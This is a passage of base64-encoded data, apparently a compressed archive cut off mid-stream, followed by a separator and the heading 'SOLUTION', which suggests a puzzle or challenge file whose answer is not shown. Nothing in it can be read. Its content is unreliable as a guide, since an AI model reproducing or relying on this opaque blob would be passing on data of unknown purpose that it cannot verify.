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 -------------------------------------------------------------------------------- SOLUTION